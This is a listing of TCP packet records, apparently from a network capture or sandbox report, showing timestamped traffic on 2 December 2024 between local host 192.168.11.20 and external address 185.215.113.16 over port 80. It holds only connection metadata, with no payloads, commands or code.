Dec 2, 2024 11:20:53.818787098 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.818790913 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.818905115 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.818969965 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.819010973 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.819061995 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.819123030 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.819153070 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.819183111 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.819242001 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.819303989 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.819322109 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.819374084 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.819451094 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.819545031 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.819700003 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.819766998 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.819973946 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.819994926 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.820116997 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.820139885 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.820312977 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.820336103 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.820388079 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.820456028 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.820458889 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.820503950 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.820609093 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.820622921 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.820662975 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.820728064 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.820765018 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.820897102 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.820933104 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.820960045 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.821003914 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.821038008 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.821108103 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.821118116 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.821264029 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.821326017 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.821381092 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.821402073 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.821523905 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.821544886 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.821592093 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.821650028 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.821675062 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.821712017 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.821744919 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.821754932 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.821816921 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.821872950 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.821894884 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.821993113 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.822011948 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.822110891 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.822158098 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.822314978 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.822323084 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.822496891 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.822542906 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.822603941 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.822715044 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.822770119 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.822782993 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.822892904 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.823000908 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.823018074 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.823064089 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.823096991 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.823182106 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.823265076 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.823276997 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.823312044 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.823458910 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.823518038 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.823640108 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.823741913 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.823781967 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.823820114 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.823826075 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.823923111 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.824059010 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.824079990 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.824212074 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.824306965 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.824368954 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.824459076 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.824529886 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.824548006 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.824577093 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.824745893 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.129085064 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.129232883 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.129306078 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.129322052 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.129452944 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.129492998 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.129606009 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.129617929 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.129637003 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.129801989 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.129842043 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.129857063 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.130033016 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.130058050 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.130115986 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.130126953 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.130167007 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.130181074 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.130239964 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.130285978 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.130354881 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.130364895 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.130384922 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.130553007 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.130587101 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.130609035 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.130717993 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.130805969 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.130840063 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.130888939 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.130953074 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.130959988 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.131155014 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.131175995 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.131302118 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.131310940 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.131443024 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.131534100 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.131633043 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.131719112 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.131856918 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.131938934 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.132050037 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.132198095 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.132224083 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.132235050 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.132292986 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.132337093 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.132395029 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.132533073 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.132555008 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.132611990 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.132730961 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.132849932 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.132860899 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.132870913 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.132874012 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.132929087 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.132977962 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.133090973 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.133094072 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.133250952 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.133302927 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.133356094 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.133366108 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.133441925 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.133523941 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.133558035 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.133625031 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.133678913 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.133727074 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.133841038 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.133852005 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.133872986 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.133929014 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.134027004 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.134061098 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.134124041 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.134227037 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.134267092 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.134299040 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.134407997 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.134535074 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.134555101 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.134610891 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.134622097 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.134679079 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.134717941 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.134829044 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.134887934 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.134936094 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.134967089 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.135067940 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.135078907 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.135088921 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.135288954 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.135304928 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.135360956 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.135425091 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.135552883 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.135561943 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.135658979 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.135670900 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.135709047 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.135731936 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.135840893 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.135929108 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.135966063 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.136010885 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.136080027 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.136081934 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.136090040 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.136286974 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.136305094 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.136337996 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.136362076 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.136472940 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.136554956 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.136588097 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.136607885 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.136637926 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.136706114 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.136826992 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.136837006 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.136842966 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.136955023 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.136967897 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.137083054 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.137093067 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.137113094 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.137254953 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.137301922 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.137356997 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.137556076 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.137592077 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.137665033 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.137701988 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.137712955 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.137742996 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.137800932 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.137945890 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.137991905 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.138127089 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.138242006 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.138254881 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.138396025 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.138396025 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.138456106 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.138511896 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.138619900 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.138724089 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.138801098 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.138822079 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.138833046 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.138986111 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.138998985 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.139000893 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.139200926 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.139202118 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.139257908 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.139360905 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.139455080 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.139473915 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.139484882 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.139695883 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.139704943 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.139831066 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.139831066 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.139981985 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.139993906 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.140049934 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.140147924 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.140218973 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.140254021 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.140264988 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.140355110 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.140450001 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.140455961 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.140552044 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.140583992 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.140683889 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.140707016 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.140784979 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.140832901 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.140880108 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.140886068 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.141061068 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.141077042 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.141133070 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.141143084 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.141202927 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.141232967 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.141345978 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.141391993 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.141489029 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.141506910 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.141518116 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.141618967 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.141701937 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.141762018 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.141782045 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.141835928 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.141866922 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.141947031 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.142002106 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.142091990 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.142139912 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.142187119 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.142194033 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.142246008 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.142400026 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.142451048 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.142503023 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.142591953 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.142710924 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.142738104 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.142843008 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.142848969 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.142960072 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.143074036 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.143075943 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.143129110 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.143156052 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.143205881 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.143234015 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.143337965 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.143405914 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.143455029 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.143491983 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.143511057 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.143599033 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.143620968 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.143726110 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.143742085 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.143790960 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.143850088 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.143868923 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.143984079 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.143996000 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.144067049 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.144145012 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.144200087 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.144256115 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.144324064 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.144452095 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.144467115 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.144514084 CET	80	49749	185.215.113.16	192.168.11.20
